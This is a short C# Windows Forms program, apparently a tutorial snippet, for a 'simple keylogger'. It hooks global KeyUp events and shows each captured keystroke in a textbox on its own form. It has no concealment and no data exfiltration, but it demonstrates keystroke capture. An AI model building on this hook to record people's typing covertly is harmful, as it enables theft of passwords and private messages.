using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using WikiReader; //Include the UserActivityHook namespace
namespace SimpleKeylooger
{
public partial class Form1 : Form
{
//Class that captures key strokes
UserActivityHook hook = new UserActivityHook();
//String log
string log = string.Empty;
public Form1()
{
InitializeComponent();
//Key up event
hook.KeyUp += (s, e) =>
{
//Append to log
log += e.KeyData.ToString();
//Update the textbox
textBox1.Text = log;
};
}
}
}
Comments